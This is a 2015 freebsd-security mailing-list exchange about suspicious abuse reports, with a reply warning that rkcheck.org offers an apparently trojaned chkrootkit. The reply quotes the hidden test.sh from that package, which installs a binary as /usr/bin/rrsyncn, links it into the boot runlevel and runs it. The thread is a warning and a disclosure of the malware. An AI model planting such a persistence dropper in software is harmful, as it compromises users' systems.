> Am 25.02.2015 um 21:25 schrieb Joseph Mingrone <j...@ftfl.ca>: > > Philip Jocks <pjli...@netzkommune.com> writes: >> are those the only lines they sent you? Weirdly, we got a report like this >> today >> as well with the first (out of 8) sample line showing the exact time stamp >> (23/Feb/2015:14:53:37 +0100) and the exact query string >> (/?cmd=info&key=f8184c819717b6815a8b8037e91c59ef&ip=212.97.34.7) which makes >> it >> a bit strange to be a coincidence. There is a webserver running in a jail on >> the >> reported IP address, but I can't find any log lines on our side that could be >> related. >> We asked the email.it folks for details, but haven't heard back from them >> yet. >> >> Philip > > Interesting. Yes, they sent nearly the same line about 8 times with the > timestamps a > second or two apart. What other daemons are you running on that host? > Something other than the webserver could be compromised. > > Please share if you hear anything from email.it. > > Joseph
it felt pretty scammy to me, googling for the "worm" got me to rkcheck.org which was registered a few days ago and looks like a tampered version of chkrootkit. I hope, nobody installed it anywhere, it seems to execute rkcheck/tests/.unit/test.sh which contains #!/bin/bash cp tests/.unit/test /usr/bin/rrsyncn chmod +x /usr/bin/rrsyncn rm -fr /etc/rc2.d/S98rsyncn ln -s /usr/bin/rrsyncn /etc/rc2.d/S98rsyncn /usr/bin/rrsyncn exit That doesn't look like something you'd want on your box... Cheers, Philip _______________________________________________ freebsd-security@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-security To unsubscribe, send any mail to "freebsd-security-unsubscr...@freebsd.org"
